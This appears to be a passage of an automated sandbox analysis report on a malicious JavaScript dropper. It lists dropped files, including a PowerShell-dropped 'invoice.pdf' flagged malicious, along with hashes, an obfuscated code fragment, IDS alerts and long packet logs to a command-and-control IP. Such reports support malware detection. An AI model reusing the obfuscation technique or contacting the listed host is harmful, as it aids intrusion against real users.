Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b5b6f959-c823-496b-80ad-9fe07ccd4d45.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17173), with CRLF line terminators
Entropy (8bit):	4.910746710588514
TrID:
File name:	2012713416258531948.js
File size:	20'729 bytes
MD5:	05cf61dc6eb4455a8a45293a771fdf5e
SHA1:	eb1f46917c2c564c79a90f37f1dbfe7c54e3da61
SHA256:	a2e7ac3901f5a974f66d12600a41239ca5040bb12c0c60969f12a36f2d3bc7e1
SHA512:	b9f0a35e5be7caaba712283fe077d9946d97c4a776ee9092aa6d719b8042bac455501ec480fb2dc57edcbbce23ace24674de56bc1a79ddf5ba45e39b82615bb8
SSDEEP:	384:yym4x0PA7z1uWLikzK92a0U6Fh+fe4i5o4Y+50wJduL8eGI0KUBY:yc7z1uWLikzKzV6n+fe4i5o4Y+50wJMd
TLSH:	D3928615981F8F5E8DFD1BE9299E84CF39B099D8601490C9887079A1D6E6C4B3EEDCF0
File Content Preview:	function tnnnqo(){sdhufcak=[1031,3079,5127,4103,2055,3072];var lazopqfpt=this[kfjfugu+zfoooiilf+zqoth+xsyufhko+jifunge+gpehmvvf+umjkoy+jkdds](this[rkuusmlbw+eogbd+iibliwwrq+zqoth+siiwbtk+kfjfugu+jkdds][ndkwjuns+zqoth+jifunge+zfoooiilf+jkdds+jifunge+mnehah

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T11:07:02.820543+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T11:07:05.331990+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 11:07:02.016248941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.021352053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.021419048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.023849010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.028687000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820388079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820444107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820482016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820517063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820543051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.820550919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820574045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.820583105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820616961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820650101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820662975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.820683956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820696115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.820720911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.820765972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.825560093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.875633955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.875658035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.875672102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.875818968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.940531015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940618038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940658092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940711021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940732956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.940748930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940781116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940789938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.940815926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940850019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.940850973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940886974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.940936089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.941395044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.941431046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.941493034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.941735029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.941770077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.941803932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.941816092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.941838026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.941854954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.941873074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.942555904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.942609072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.942615032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.942645073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.942677975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.942694902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.942713976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.942724943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:02.962104082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.962140083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.962156057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:02.962227106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.040237904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.040272951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.040307999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.040380001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.060497999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060514927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060528994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060599089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.060642958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.060656071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060671091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060691118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060715914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060717106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.060734034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.060780048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.061230898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061245918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061260939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061271906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.061315060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.061496973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061553955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061569929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061587095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.061595917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.061647892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.062010050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062025070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062041044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062072992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.062144995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062160015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062176943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062185049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.062191963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062218904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.062922955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062938929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062953949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.062978029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.062989950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063004971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063014030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.063019991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063035011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063051939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.063085079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.063843012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063858986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063874006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063900948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.063915968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063930988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063946009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063963890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.063971043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.064007044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.064723015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064747095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064763069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064769983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.064785957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064800978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064807892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.064851046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.064922094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064937115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.064991951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.065630913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.065654039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.065707922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.126929998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160811901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160830021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160846949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160897017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.160934925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160949945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160950899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.160965919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.160986900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181011915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181030989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181049109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181073904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181087971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181102991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181116104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181126118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181142092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181158066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181171894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181174994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181188107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181206942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181241035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181289911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181303978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181318998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181334019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181346893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181364059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181376934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181406975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181422949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181442976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181446075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181457996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181484938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181556940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181571007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181596041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181602955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181632042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181684971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181747913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181762934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181806087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181806087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181822062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181838989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181852102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181854963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181869030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.181884050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.181925058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182056904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182070971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182086945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182117939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182205915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182220936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182246923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182248116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182262897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182277918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182292938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182296038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182316065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182612896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182630062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182652950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182668924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182676077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182684898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182698965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182713985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182714939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182734013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182742119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182756901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182756901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182771921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182786942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182790995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182801962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182817936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182833910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182843924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182858944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182861090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182876110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182889938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182905912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182915926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182918072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.182949066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.182974100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.186089993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186103106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186137915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186152935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186156034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.186177969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186199903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186225891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.186230898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186244965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186259985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.186260939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186276913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186292887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.186315060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186330080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.186333895 CET	49704	80	192.168.2.5	193.143.1.205
